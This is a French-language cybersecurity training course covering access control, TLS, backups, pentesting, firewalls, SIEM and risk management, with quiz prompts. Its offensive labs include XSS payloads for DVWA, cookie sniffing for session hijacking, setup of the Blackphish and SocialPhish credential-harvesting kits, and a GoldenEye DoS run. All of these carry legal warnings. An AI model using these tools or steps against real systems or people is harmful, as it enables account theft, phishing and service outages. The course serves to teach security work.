Le RBAC (Role-Based Access Control) attribue des autorisations en fonction des rôles des utilisateurs. Chaque utilisateur n'a accès qu'aux informations pertinentes pour son poste — c'est le principe du moindre privilège.

ÉtapeActionExemple
1. AnalyserInventorier les fonctions et les données utiliséesQuelles données chaque département utilise-t-il ?
2. PlanifierDéfinir le périmètre en commençant par les systèmes sensiblesCommencer par la BDD clients, le système RH
3. Définir les rôlesCréer des rôles selon les responsabilitésAdmin, Manager, Employé, Auditeur, Visiteur
4. Déployer et maintenirAttribuer les rôles, auditer régulièrementRevoir les droits à chaque changement de poste
TypeDescriptionUtilisation
DAC — DiscrétionnaireLe propriétaire définit les politiques d'accès à ses ressourcesSystèmes Linux/Windows (chmod, ACL)
MAC — ObligatoireUne autorité centrale attribue des niveaux de classificationArmée, renseignements, gouvernements
RBAC — Par rôlesLes droits sont attachés aux rôles, pas aux individusApplications d'entreprise, ERP
Une entreprise marocaine collecte les emails clients pour une newsletter puis les utilise pour des offres commerciales non demandées. Quelle obligation de la Loi 09-08 est violée ?
Un employé comptable accède aux factures clients mais pas aux dossiers RH. Quel principe s'applique ?
Partie 2 — Cryptographie & Protection des données HTTPS · SSL/TLS Sauvegarde · rdiff-backup · 3-2-1
⏱ 18 min

HTTPS, SSL/TLS & sauvegarde sécurisée

TLS 1.3 (handshake, Perfect Forward Secrecy), différence SSL/TLS/HTTPS, certificat auto-signé avec OpenSSL, HSTS, règle 3-2-1, RPO/RTO, et rdiff-backup (local + SSH).

✓ Ce que vous allez apprendre
  • Différence SSL, TLS et HTTPS — historique et versions
  • Handshake TLS — établissement de la connexion en 4 étapes
  • Perfect Forward Secrecy (PFS) — protéger les sessions passées
  • Générer un certificat auto-signé avec OpenSSL
  • Règle 3-2-1, RPO/RTO, rdiff-backup local et SSH

1
SSL, TLS et HTTPS — différences
SSL vs TLS · HTTPS · Versions · TLS 1.3
ProtocoleDéfinitionStatut
SSL (Secure Sockets Layer)Protocole original (Netscape, 1994). Protège les connexions contre l'interception.Déprécié — toutes versions vulnérables (POODLE, BEAST)
TLS (Transport Layer Security)Successeur de SSL, plus sécurisé. Version actuelle : TLS 1.3 (2018).TLS 1.2/1.3 — utiliser TLS 1.3 obligatoirement
HTTPSHTTP + TLS. Le « S » = Secure. Toutes les données HTTP chiffrées via TLS.Standard obligatoire pour tout site web
textHandshake TLS — 4 étapes
① Client Hello
   Client ─► Serveur : "Versions TLS supportées, algorithmes, nombre aléatoire"

② Server Hello + Certificat
   Client ◄─ Serveur : "Version choisie, certificat X.509, nombre aléatoire"

③ Echange de clé (Key Exchange)
   TLS 1.3 : Diffie-Hellman — Perfect Forward Secrecy automatique
   Client vérifie le certificat avec la CA

④ Finished — connexion sécurisée
   Les deux parties dérivent la même clé AES symétrique
   Toutes les communications suivantes chiffrées avec AES

Perfect Forward Secrecy (PFS) :
   Chaque session utilise une clé éphémère différente
   Si la clé privée du serveur est compromise PLUS TARD,
   les sessions PASSEES restent illisibles

2
TP OpenSSL — certificat auto-signé
Clé RSA · CSR · Certificat X.509 · HSTS
bashOpenSSL — générer un certificat auto-signé
# Installer OpenSSL
sudo apt-get -y install openssl
openssl version -a

# Générer clé privée + CSR en une commande
openssl req -newkey rsa:2048 -keyout PRIVATEKEY.key -out MYCSR.csr
# Remplir : Country (MA), State, Organization, Common Name (domaine)

# Générer CSR avec clé non chiffrée (pour serveur web)
openssl req -new -newkey rsa:2048 -nodes \
    -keyout example.ma.key -out example.ma.csr

# Vérifier le CSR
openssl req -text -in MYCSR.csr -noout -verify

# Auto-signer le certificat (365 jours)
openssl x509 -in MYCSR.csr -out MYCSR.crt \
    -req -signkey PRIVATEKEY.key -days 365

# Afficher le contenu
cat MYCSR.crt
⚠ Certificat auto-signé vs CA de confiance

Un certificat auto-signé garantit le chiffrement mais pas l'authentification (avertissement navigateur). En production utiliser Let's Encrypt (gratuit, 90 jours, renouvelable automatiquement).


3
Règle 3-2-1 & rdiff-backup
3-2-1 · RPO · RTO · rdiff-backup · SSH
ℹ Règle 3-2-1 — standard de l'industrie

3 copies des données, sur 2 supports différents, dont 1 hors site. Garantit la résilience face aux ransomwares, pannes et catastrophes physiques.

ConceptDéfinitionExemple
RPOPerte de données maximale acceptableRPO=4h → sauvegarder toutes les 4h
RTOTemps de reprise maximal acceptableRTO=2h → système opérationnel en moins de 2h
bashrdiff-backup — sauvegarde locale et distante SSH
# Installation
sudo apt-get update && sudo apt-get install rdiff-backup
rdiff-backup --version

# Sauvegarde LOCALE
sudo rdiff-backup source/ back_folder/

# Restauration locale
sudo cp -a back_folder/ restauration/

# Sauvegarde DISTANTE via SSH
rdiff-backup root@192.168.1.100::/var/www/html/ /backup/web/

# Historique des sauvegardes
rdiff-backup --list-increments back_folder/

# Restaurer à une date précise
rdiff-backup --restore-as-of 2024-11-15 back_folder/ /tmp/restore/
Le Perfect Forward Secrecy (PFS) dans TLS 1.3 protège les sessions passées si la clé privée du serveur est compromise plus tard. Comment ?
Partie 3 — Sécurité offensive Red Team Pentesting & Kali Linux Nmap · 5 phases · Cadre légal
⏱ 18 min

Pentesting & Kali Linux

Kali Linux (distribution, outils clés), 5 phases du pentesting (Recon/Scan/Exploit/Post-exploit/Rapport), Nmap (découverte, ports, OS fingerprinting), cadre légal et éthique.

✓ Ce que vous allez apprendre
  • Kali Linux — distribution dédiée au pentesting
  • 5 phases du pentesting : Reconnaissance, Scan, Exploitation, Post-exploitation, Rapport
  • Nmap — découverte, scan de ports, fingerprinting OS
  • Cadre légal et éthique — autorisation écrite obligatoire

1
Kali Linux — la distribution du pentesteur
Debian-based · 600+ outils · VirtualBox
ℹ Kali Linux

Kali Linux est une distribution Debian dédiée aux tests de sécurité et au pentesting. Elle embarque 600+ outils préinstallés. Télécharger l'image VirtualBox sur kali.download/virtual-images/.

CatégorieOutils principauxUsage
ReconnaissanceNmap, Shodan, theHarvesterDécouvrir l'infrastructure cible
Scan de vulnérabilitésOpenVAS, Nikto, NessusDétecter les failles
Exploitation WebBurp Suite, DVWA, SQLMapTester les applications web
RéseauWireshark, Metasploit, AircrackAttaques réseau et Wi-Fi
PhishingBlackphish, Socialphish, GoPhishIngénierie sociale

2
5 phases du pentesting
Recon · Scan · Exploit · Post-exploit · Rapport
textMéthodologie pentesting — 5 phases
① RECONNAISSANCE (passive + active)
   Collecter infos sur la cible (OSINT, DNS, WHOIS)
   Cartographier la surface d'attaque

② SCAN (découverte technique)
   Nmap : ports ouverts, services, versions, OS
   Identifier les vulnérabilités potentielles

③ EXPLOITATION (accès initial)
   Exploiter les vulnérabilités découvertes
   XSS, SQLi, CVE connus, brute force

④ POST-EXPLOITATION (pivoting & persistance)
   Élever les privilèges, se déplacer latéralement
   Documenter tout ce qui est accessible

⑤ RAPPORT
   Lister toutes les vulnérabilités + scores CVSS
   Plan de remédiation priorisé

3
Nmap — commandes essentielles
Découverte · Ports · Services · OS · Scripts NSE
bashNmap — référence rapide
# Découverte des hôtes actifs
nmap -sn 192.168.1.0/24

# Scan complet (tous les ports, versions, OS)
nmap -sV -O -p- 192.168.1.100

# Scan rapide (ports courants)
nmap -F 192.168.1.100

# Scripts de vulnérabilités
nmap --script=vuln 192.168.1.100

# Scan furtif (SYN scan)
sudo nmap -sS 192.168.1.100

# Détecter le WAF
nmap -p 80,443 --script=http-waf-detect 192.168.1.100
⚠ Cadre légal — autorisation écrite obligatoire

Tout test de pénétration sur un système tiers sans autorisation écrite explicite est un délit pénal. Toujours obtenir une lettre de mission signée avant de commencer. Les outils Kali sont légaux — leur utilisation non autorisée ne l'est pas.

Un pentesteur trouve une vulnérabilité critique sur un système sans autorisation. Que doit-il faire ?
Partie 3 — Sécurité offensive Red Team Exploitation Web DVWA · Blackphish · Socialphish
⏱ 20 min

Exploitation Web — DVWA & outils offensifs

TP pas-à-pas : XSS stockée et XSS DOM avec DVWA, Blackphish (cloner un site, capturer credentials), Socialphish (33 templates).

✓ Ce que vous allez apprendre
  • Installer DVWA avec XAMPP — 7 étapes
  • Exploiter XSS stockée — 8 étapes
  • Exploiter XSS DOM via paramètre URL
  • Blackphish — cloner un site, capturer les credentials
  • Socialphish — 33 templates

1
TP DVWA — Installation
XAMPP · htdocs · Low/Medium/High
ℹ DVWA

Damn Vulnerable Web Application est une application PHP/MySQL intentionnellement vulnérable pour s'exercer légalement sur XSS, SQLi, CSRF avec 4 niveaux : Low, Medium, High, Impossible.

bashInstallation DVWA — 7 étapes
# 1. Télécharger XAMPP : https://www.apachefriends.org/
# 2. Télécharger DVWA : https://dvwa.co.uk/
# 3. Extraire DVWA dans C:\xampp\htdocs\dvwa\
# 4. Renommer config.inc.php.dist → config.inc.php
# 5. Démarrer XAMPP (Apache + MySQL)
# 6. http://localhost/dvwa → "Create / Reset Database"
#    Login : admin | Password : password
# 7. DVWA Security → Low → Submit

2
TP XSS Stockée & XSS DOM
Guestbook · Payload BDD · Paramètre URL
textXSS Stockée — 8 étapes
① Connexion DVWA — niveau Low
② Cliquer "XSS (Stored)" dans le menu
③ Tester : Name=test1, Message=test2
④ CTRL+U → vérifier test1/test2 dans le HTML source
⑤ Injecter dans Message :
     <script>alert('XSS Stockée OK')</script>
⑥ Cliquer "Sign Guestbook"
⑦ Rafraîchir → alerte à chaque chargement (payload en BDD)
⑧ "Clear Guestbook" avant de passer au niveau Medium

XSS DOM — via URL :
① "XSS (DOM)" → URL : ?default=English
② Tester : ?default=hello → "hello" dans le DOM
③ Payload : ?default=<script>alert(document.cookie)</script>
► Affiche PHPSESSID — récupérable pour Session Hijacking

3
Blackphish — cloner un site
Kali Linux · Git · Instagram · Credentials
⚠ Cadre légal

Environnement isolé uniquement. Utilisation sur systèmes tiers sans autorisation = illégal.

bashBlackphish & Socialphish
# BLACKPHISH (5 templates)
cd Desktop
git clone https://github.com/iinc0gnit0/BlackPhish
cd BlackPhish && ./install.sh
sudo python3 blackphish.py
# Facebook(1), Instagram(2), Google(3)...
# Choisir Instagram(1) → localhost(3)
# Entrer credentials fictifs → s'affichent dans le terminal

# SOCIALPHISH (33 templates)
mkdir Socialphish && cd Socialphish
git clone https://github.com/xHak9x/SocialPhish.git
cd SocialPhish && chmod +x socialphish.sh
./socialphish.sh
# Facebook(1), Netflix(8), Spotify(9), LinkedIn(10), Steam(11)...
Pourquoi cliquer "Clear Guestbook" avant de passer au niveau Medium ?
Différence principale Blackphish vs Socialphish ?
Partie 3 — Sécurité offensive Red Team Exploitation réseau Wireshark · GoldenEye · Windscribe · WAFW00F
⏱ 18 min

Exploitation réseau — Wireshark & attaques

Wireshark (capture trames, filtres BPF, vol de cookie HTTP), GoldenEye DDoS (installation, exécution), Windscribe IP Spoofing via VPN CLI, WAFW00F pour détecter les WAF.

✓ Ce que vous allez apprendre
  • Wireshark — capturer des paquets, filtres BPF, détecter le vol de cookie
  • GoldenEye — outil DDoS HTTP, installation Kali, exécution
  • Windscribe — VPN CLI pour l'IP Spoofing sous Linux
  • WAFW00F — détecter la présence d'un WAF sur un domaine cible

1
Wireshark — vol de cookie et Session Hijacking
Sniffing · Filtre http.cookie · PHPSESSID · Cookie Editor
ℹ Wireshark

Wireshark capture tout le trafic d'une interface réseau et permet d'inspecter chaque paquet. Sur des protocoles non chiffrés (HTTP, FTP, Telnet) les credentials et cookies sont lisibles en clair.

textTP Détournement de session — vol de cookie
Outils : Wireshark + extension Firefox "Cookie Editor"

① Wireshark → Capture → sélectionner l'interface réseau → Start
② Appliquer le filtre : http.cookie
③ Chercher les paquets GET/POST → HTTP avec le serveur
④ Développer "Hypertext Transfer Protocol"
⑤ Trouver : Cookie: PHPSESSID=j6oAOxCWZh...
⑥ Copier la valeur du cookie
⑦ Firefox → Cookie Editor → modifier la valeur du cookie
⑧ Accès au compte de la victime sans mot de passe !

Pourquoi : le serveur identifie l'utilisateur uniquement par son token
Sans vérification d'IP → n'importe qui avec le bon cookie = accès
textFiltres Wireshark essentiels
http                              Tout le trafic HTTP
http.cookie                       Paquets contenant des cookies
http.request.method == "POST"     Formulaires soumis (credentials !)
ftp                               Trafic FTP (tout en clair)
telnet                            Trafic Telnet (tout en clair)
tcp.flags.syn == 1                Détection SYN Flood
host 192.168.1.100                Trafic vers/depuis une IP
not arp                           Exclure l'ARP

2
TP GoldenEye DDoS
HTTP DoS · Connexions TCP · Kali Linux
⚠ Cadre légal

GoldenEye est réservé aux tests en environnement isolé ou avec autorisation explicite. Utilisation sur des systèmes tiers = illégal.

bashGoldenEye — installation et utilisation
# Installation
git clone https://github.com/jseidl/GoldenEye.git
cd GoldenEye
./goldeneye.py --help
# Options : -s (workers), -m (méthode : get/post/random)

# Lancer l'attaque (LOCAL uniquement)
sudo ./goldeneye.py http://192.168.0.233:80/ -s 10 -m random
# -s 10      : 10 connexions simultanées
# -m random  : méthodes HTTP aléatoires

# Observer dans Wireshark pendant l'attaque
# Filtre : host 192.168.0.233 and tcp
# Observer la saturation des connexions TCP port 80

# Principe GoldenEye :
# Établit des connexions TCP complètes (3-way handshake)
# Envoie des requêtes HTTP légitimes mais très lentes
# Épuise le pool de connexions Apache/Nginx

3
Windscribe VPN — IP Spoofing
VPN CLI · Changer d'IP · Linux
bashWindscribe — installation et connexion VPN
# Ajouter le dépôt et installer
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-key FDC247B7
echo 'deb https://repo.windscribe.com/ubuntu bionic main' | \
    sudo tee /etc/apt/sources.list.d/windscribe-repo.list
sudo apt-get update && sudo apt-get install windscribe-cli

# Connexion
windscribe login
windscribe connect          # Meilleur serveur automatique
windscribe connect FR       # Serveur France → IP française

# Vérifier le changement d'IP
curl ifconfig.me            # Doit afficher l'IP du pays choisi

# Voir les serveurs disponibles
windscribe locations

# Déconnexion
windscribe disconnect

4
WAFW00F — détecter un WAF
Fingerprinting · Cloudflare · ModSecurity · Nmap NSE
bashWAFW00F & Nmap — détection WAF
# Installation
git clone https://github.com/EnableSecurity/wafw00f.git
cd wafw00f && python3 setup.py install

# Détecter le WAF
wafw00f www.amazon.com
# Résultat : "amazon.com is behind Cloudfront (Amazon)"

# Scan complet (tous les WAF connus)
wafw00f -a www.target.com

# Via Nmap
nmap -p 80,443 --script=http-waf-detect www.target.com
nmap -p 80,443 --script=http-waf-fingerprint www.target.com

# Comment WAFW00F fonctionne :
# 1. Requêtes HTTP normales → analyse la réponse
# 2. Requêtes potentiellement malveillantes si WAF non détecté
# 3. Analyse patterns (codes HTTP, headers, body)
# 4. Identifie parmi +100 signatures WAF connues
Dans Wireshark avec le filtre http.cookie, vous trouvez PHPSESSID=abc123. Que peut faire un attaquant ?
WAFW00F détecte Cloudflare WAF sur un site cible. Que fait le pentesteur avec cette information ?
Partie 3 — Sécurité offensive Red Team OpenVAS & CVSS Greenbone · Scanner · Vulnérabilités
⏱ 18 min

OpenVAS & scoring CVSS

Installation OpenVAS/Greenbone sur Kali Linux (gvm-setup, interface web port 9392), types de scans, scoring CVSS v3 (Critical/High/Medium/Low), lire un rapport CVE et prioriser les remédiations.

✓ Ce que vous allez apprendre
  • Installer et configurer OpenVAS/GVM sur Kali Linux
  • Lancer un scan réseau, définir une cible
  • Lire un rapport de vulnérabilités
  • Scoring CVSS v3 — décoder un vecteur, prioriser les remédiations

1
Installation OpenVAS sur Kali Linux
apt · gvm-setup · gvm-start · Port 9392
bashInstallation et démarrage OpenVAS
# Mettre à jour Kali
sudo apt update && apt upgrade -y

# Installer OpenVAS
sudo apt install openvas

# Configuration initiale (≈ 15-30 min — télécharge les NVTs)
sudo gvm-setup
# NOTER le mot de passe admin généré à la fin !

# Vérifier l'installation
gvm-check-setup

# Démarrer les services
sudo gvm-start
# Interface web : https://localhost:9392

# Changer le mot de passe si oublié
gvmd --user=admin --new-password=nouveau_mdp

# Arrêter les services
sudo gvm-stop

2
Lancer un scan — 6 étapes
Cible · Task Wizard · 7 types de scans · Rapport
textProcédure de scan — interface web
① Ouvrir https://localhost:9392 → Connexion admin

② Scans → Tasks → icône baguette magique "Task Wizard"

③ Définir une cible :
   Name  : "Machine de test"
   Hosts : 192.168.1.100

④ Choisir le type de scan :
   Full and fast       → complet et rapide (recommandé)
   Full and very deep  → très détaillé mais lent
   Host discovery      → découvrir les hôtes actifs seulement
   System discovery    → OS et services principaux

⑤ Cliquer "Save" puis Play ►

⑥ Attendre la fin (15 min à plusieurs heures)

⑦ Cliquer sur le résultat → rapport détaillé

3
Scoring CVSS v3 — décoder et prioriser
0.0 → 10.0 · Critical · High · Medium · Low · Vecteur
Score CVSSSévéritéDélai de remédiationExemple
9.0 — 10.0CRITICALPatch immédiat — heuresLog4Shell (10.0), EternalBlue (9.8)
7.0 — 8.9HIGHPatch urgent — joursSQLi non authentifiée, RCE complexe
4.0 — 6.9MEDIUMPatch planifié — semainesXSS stockée, informations exposées
0.1 — 3.9LOWProchain cycleEn-tête HTTP manquant
textDécoder un vecteur CVSS v3 — Log4Shell
CVE-2021-44228 (Log4Shell) : CVSS 10.0
Vecteur : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

AV:N  → Attack Vector : Network    (exploitable à distance)
AC:L  → Attack Complexity : Low    (facile à exploiter)
PR:N  → Privileges Required : None (aucun compte nécessaire)
UI:N  → User Interaction : None    (aucune action utilisateur)
S:C   → Scope : Changed            (impact au-delà du composant)
C:H   → Confidentiality : High     (fuite totale de données)
I:H   → Integrity : High           (modification totale)
A:H   → Availability : High        (déni de service possible)

Score 10.0 : exploitable à distance, sans privilège, impact total CIA
OpenVAS détecte deux vulnérabilités : A (CVSS 8.2, serveur web) et B (CVSS 5.4, imprimante réseau). Dans quel ordre prioriser ?
Dans un vecteur CVSS, PR:N (Privileges Required : None) signifie :
Partie 4 — Sécurité défensive Blue Team Firewalls & filtrage réseau iptables · NGFW · SMLI · DMZ
⏱ 22 min

Firewalls & filtrage réseau

5 générations de firewalls (Packet Filtering, Stateful, Proxy, NGFW, SMLI), DMZ, iptables (INPUT/OUTPUT/FORWARD, DROP/ACCEPT/LOG, conntrack, NAT).

✓ Ce que vous allez apprendre
  • 5 générations de firewalls et leurs différences
  • DMZ — architecture en zone démilitarisée
  • iptables — chaînes INPUT/OUTPUT/FORWARD, règles DROP/ACCEPT/LOG
  • Conntrack et NAT

1
5 générations de firewalls
Packet Filtering · Stateful · Proxy · NGFW · SMLI · DMZ
GénérationNomFonctionnementCouche OSI
1èrePacket Filtering (stateless)Filtre chaque paquet indépendamment (IP, port, protocole)3-4
2èmeStateful InspectionSuit l'état des connexions TCP (table des connexions)3-4
3èmeProxy / Application GatewayInspecte le contenu applicatif — agit comme intermédiaire7
4èmeNGFW (Next-Generation)DPI, IDS/IPS intégré, contrôle applicatif2-7
5èmeSMLI (Stateful Multilayer)Inspecte toutes les couches OSI simultanément2-7
ℹ DMZ — zone démilitarisée

La DMZ est une zone réseau isolée entre Internet et le réseau interne. Les serveurs publics (web, mail) sont en DMZ. Si un serveur DMZ est compromis, le firewall interne protège le réseau interne.

Architecture : Internet → Firewall externe → DMZ → Firewall interne → Réseau interne


2
iptables — règles fondamentales
INPUT · OUTPUT · FORWARD · DROP · ACCEPT · LOG
bashiptables — commandes essentielles
# Voir les règles
sudo iptables -L -v --line-numbers

# Politique par défaut : bloquer tout entrant
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT ACCEPT

# Connexions déjà établies (conntrack)
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Loopback
sudo iptables -A INPUT -i lo -j ACCEPT

# Autoriser SSH, HTTP, HTTPS
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# Bloquer une IP
sudo iptables -A INPUT -s 192.168.1.50 -j DROP

# Logger les paquets bloqués
sudo iptables -A INPUT -j LOG --log-prefix "iptables-DROP: "
sudo iptables -A INPUT -j DROP

# Supprimer une règle
sudo iptables -D INPUT 3

# Vider toutes les règles
sudo iptables -F

# Rendre persistantes
sudo apt install iptables-persistent
sudo netfilter-persistent save

3
NAT & règles avancées
MASQUERADE · DNAT · Port forwarding · SYN Flood protection
bashNAT et protection SYN Flood
# NAT masquerade (partager Internet)
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Port forwarding (DNAT)
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 \
    -j DNAT --to-destination 192.168.1.100:80

# Protection SYN Flood
sudo iptables -A INPUT -p tcp --syn \
    -m limit --limit 1/s --limit-burst 4 -j ACCEPT
sudo iptables -A INPUT -p tcp --syn -j DROP
iptables -P INPUT DROP sans aucune autre règle. Que se passe-t-il ?
Un serveur web est en DMZ. L'attaquant le compromet. Peut-il accéder directement au réseau interne ?
Partie 4 — Sécurité défensive Blue Team WAF & Hardening ModSecurity · OWASP · Ccrypt · Squid
⏱ 20 min

WAF & Hardening applicatif

WAF (réseau/hôte/cloud, ModSecurity, WAFW00F+Nmap), 10 principes du développement sécurisé OWASP, Ccrypt et Proxy Squid.

✓ Ce que vous allez apprendre
  • 3 types de WAF — réseau, hôte (ModSecurity), cloud
  • Détecter un WAF avec WAFW00F et Nmap
  • 10 principes OWASP du développement sécurisé
  • Ccrypt — chiffrer/déchiffrer en CLI
  • Proxy Squid — ACL et filtrage

1
WAF — Web Application Firewall
3 types · ModSecurity · OWASP CRS · WAFW00F
TypeEmplacementAvantagesInconvénients
RéseauAppliance physique devant le serveurTrès performantCoûteux
HôteModule sur le serveur (ModSecurity)Gratuit, contexte applicatifConsomme des ressources
CloudSaaS (Cloudflare, AWS WAF)Facile à déployerDonnées transitées par tiers
bashModSecurity & WAFW00F
# Installer ModSecurity sur Apache
sudo apt install libapache2-mod-security2
sudo a2enmod security2
sudo apt install modsecurity-crs
sudo systemctl restart apache2

# Détecter le WAF d'un domaine
wafw00f www.amazon.com
wafw00f -a www.target.com

# Via Nmap
nmap -p 80,443 --script=http-waf-detect www.target.com
nmap -p 80,443 --script=http-waf-fingerprint www.target.com

2
10 principes OWASP du développement sécurisé
Surface d'attaque · Défense profondeur · Fail Safe · Moindre privilège
#PrincipeApplication pratique
1Réduire la surface d'attaqueDésactiver les fonctionnalités inutiles, fermer les ports non nécessaires
2Défense en profondeurSuperposer plusieurs couches (firewall + WAF + chiffrement + RBAC)
3Échec sécurisé (Fail Safe)En cas d'erreur, refuser par défaut plutôt qu'autoriser
4Moindre privilègeChaque composant n'a que les droits minimaux nécessaires
5Séparation des privilègesDistinguer les rôles : admin, utilisateur, invité
6Ne pas faire confiance aux servicesValider toutes les entrées, même internes
7Séparation des préoccupationsIsoler authentification, autorisation, logique métier
8Éviter la sécurité par l'obscuritéNe pas révéler la structure interne dans les messages d'erreur
9Simplicité de la sécuritéImplémentations simples = moins de failles
10Corriger correctementComprendre la cause racine, pas seulement les symptômes

3
Ccrypt & Proxy Squid
ccencrypt · ccdecrypt · Squid ACL
bashCcrypt & Squid
# Ccrypt
sudo apt-get install ccrypt
ccencrypt rapport.pdf        # Génère rapport.pdf.cpt
ccdecrypt rapport.pdf.cpt    # Restaure le fichier
ccencrypt -r dossier/        # Récursif

# Squid Proxy
sudo apt-get install squid
sudo nano /etc/squid/squid.conf
# http_port 3128
# acl localnet src 192.168.0.0/16
# http_access allow localnet
# acl bloques dstdomain .facebook.com
# http_access deny bloques
sudo systemctl restart squid
sudo tail -f /var/log/squid/access.log
Message d'erreur : « Erreur SQL : Table users, colonne password introuvable ». Quel principe OWASP est violé ?
Partie 4 — Sécurité défensive Blue Team SSH & IAM fail2ban · MDP · MFA · Zero Trust
⏱ 18 min

SSH, IAM & sécurisation des accès

Sécuriser SSH (clé RSA 4096, désactiver root), fail2ban contre le brute force, politique de mots de passe (8-14 car., rotation 90j), MFA et Zero Trust.

✓ Ce que vous allez apprendre
  • SSH sécurisé — clé RSA 4096, désactiver root login
  • fail2ban — bloquer automatiquement le brute force
  • Politique MDP — complexité, 8-14 car., rotation 90j
  • MFA et modèle Zero Trust

1
Sécuriser SSH
ssh-keygen · authorized_keys · sshd_config
bashSSH sécurisé — configuration complète
# Générer une clé RSA 4096 bits
ssh-keygen -t rsa -b 4096 -C "admin@entreprise.ma"
ssh-copy-id user@192.168.1.100

# Sécuriser /etc/ssh/sshd_config :
# PermitRootLogin no
# PasswordAuthentication no
# PubkeyAuthentication yes
# Port 2222
# MaxAuthTries 3
# AllowUsers admin deployer
sudo systemctl restart sshd

2
fail2ban — protection brute force
maxretry · bantime · findtime · iptables
bashfail2ban — installation et configuration
sudo apt-get install fail2ban
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

# Dans jail.local :
# [sshd]
# enabled  = true
# port     = 2222
# maxretry = 3      → 3 tentatives → ban
# bantime  = 3600   → 1 heure
# findtime = 600    → fenêtre 10 min

sudo systemctl enable --now fail2ban
sudo fail2ban-client status sshd
sudo fail2ban-client set sshd unbanip 192.168.1.50

3
Politique MDP, MFA & Zero Trust
Complexité · Rotation · Passphrases · Zero Trust
CritèreRègleRaison
LongueurMin 8 car., idéal 12-14Chaque caractère multiplie le temps de brute force
ComplexitéMaj + min + chiffres + symbolesÉlargit l'espace des possibilités
RotationTous les 90 à 180 joursLimite la fenêtre d'exposition
Passphrase4 mots aléatoires : «Cheval-Batterie-Agrafe-Violet»Long, mémorisable, résistant
MFASecond facteur obligatoire (TOTP, SMS)MDP volé seul ne suffit pas
ℹ Zero Trust

Zero Trust : aucun utilisateur, appareil ou réseau n'est digne de confiance par défaut. Chaque accès est vérifié (identité, device, contexte). Principe : supposer que vous êtes déjà compromis.

fail2ban : maxretry=3, bantime=3600. Un attaquant fait 3 tentatives SSH échouées. Que se passe-t-il ?
Partie 4 — Sécurité défensive Blue Team SIEM & Détection IDS/IPS · Snort · Logs · IOC
⏱ 16 min

SIEM, logs & détection d'intrusion

IDS vs IPS, Snort (règles), syslog (8 niveaux), SIEM (corrélation) et IOC.

✓ Ce que vous allez apprendre
  • IDS (détection) vs IPS (prévention)
  • Snort — structure d'une règle
  • Logs syslog — 8 niveaux de sévérité
  • SIEM — corrélation d'événements
  • IOC — indicateurs de compromission

1
IDS vs IPS & Snort
Détection · Prévention · NIDS · HIDS
SystèmeActionPositionAvantageInconvénient
IDSDétecte et alerte — ne bloque pasMode passif (copie)Zéro impact sur le traficL'attaque passe quand même
IPSDétecte et bloque en temps réelMode inlineBloque avant la cibleFaux positifs bloquants
NIDSSurveille le trafic réseauPoint stratégiqueVision globaleTrafic chiffré illisible
HIDSSurveille un hôteSur chaque machineDétecte intrusions internesÉchelle difficile
bashSnort — règles de détection
# Structure : action protocole src port -> dst port (options)

# Détecter ping ICMP
alert icmp any any -> 192.168.1.0/24 any     (msg:"Ping detecte"; sid:1000001; rev:1;)

# Détecter injection SQL
alert tcp any any -> any 80     (msg:"SQL Injection"; content:"OR 1=1"; nocase; sid:1000003;)

sudo snort -A console -i eth0 -c /etc/snort/snort.conf

2
Syslog, SIEM & IOC
8 niveaux · Corrélation · IOC · Threat intelligence
NiveauVal.Signification
EMERGENCY0Système inutilisable
ALERT1Action immédiate requise
CRITICAL2Condition critique
ERROR3Échec (ex: authentification)
WARNING4Avertissement
NOTICE5Condition normale notable
INFO6Message informatif
DEBUG7Traces détaillées
ℹ SIEM — corrélation d'événements

Un SIEM collecte les logs de tous les systèmes et les corrèle. Un échec de connexion isolé = normal. 500 échecs depuis la même IP en 1 minute sur 10 serveurs = alerte brute force coordonnée.

IOCExemplesSource de détection
IP malveillantesIP de C&C botnetThreat intelligence
HashesSHA-256 d'un malware connuAntivirus, SIEM
DomainesDomaines de phishing récentsDNS logs, proxy
ComportementsConnexion à 3h du matin depuis l'étrangerSIEM, UEBA
Un IDS détecte une attaque SQL Injection, envoie une alerte, mais l'attaque aboutit. Pourquoi n'a-t-il pas bloqué ?
500 échecs SSH depuis la même IP en 1 minute sur 10 serveurs. Que fait le SIEM ?
Partie 5 — Gouvernance, Audit & Résilience PSSI & Risques EBIOS RM · Matrice 5x5 · 4T
⏱ 18 min

PSSI & Gestion des risques

Élaborer une PSSI, méthodes EBIOS RM et ISO 27005, matrice probabilité×impact (5×5), et 4 stratégies de traitement du risque (4T).

✓ Ce que vous allez apprendre
  • Qu'est-ce qu'une PSSI — périmètre, actifs, menaces, mesures
  • EBIOS RM et ISO 27005 — méthodes d'analyse de risques
  • Matrice probabilité×impact (5×5)
  • Les 4T : Tolérer, Traiter, Transférer, Terminer

1
La PSSI — Politique de Sécurité des SI
Périmètre · Actifs · Menaces · Mesures · Responsabilités
ℹ Définition

La PSSI est le document de référence qui décrit les objectifs, règles et moyens de sécurité d'une organisation. Sans PSSI, les mesures de sécurité sont fragmentaires et incohérentes.

Section PSSIContenuExemple
PérimètreCe qui est couvertTous les SI + prestataires accédant aux données
Inventaire des actifsListe et valorise les actifsBDD clients (critique), site web (important)
Analyse des menacesMenaces et vulnérabilités pertinentesPhishing (probabilité haute), intrusion physique (faible)
Mesures de sécuritéContrôles techniques et organisationnelsMFA obligatoire, AES-256, formation annuelle
ResponsabilitésQui fait quoiRSSI, DPO, administrateurs, utilisateurs
Gestion des incidentsProcédures en cas d'incidentQui appeler, comment isoler, déclarer à la CNDP

2
Matrice risques 5x5 & les 4T
Probabilité · Impact · Score · Tolérer · Traiter · Transférer · Terminer
textMatrice probabilité x impact (5x5)
              IMPACT
         1-Min  2-Mod  3-Sig  4-Maj  5-Crit
PROB 5   |  5  |  10  |  15  |  20  |  25  |
     4   |  4  |   8  |  12  |  16  |  20  |
     3   |  3  |   6  |   9  |  12  |  15  |
     2   |  2  |   4  |   6  |   8  |  10  |
     1   |  1  |   2  |   3  |   4  |   5  |

Score  1-5  → Faible   ► Tolérer
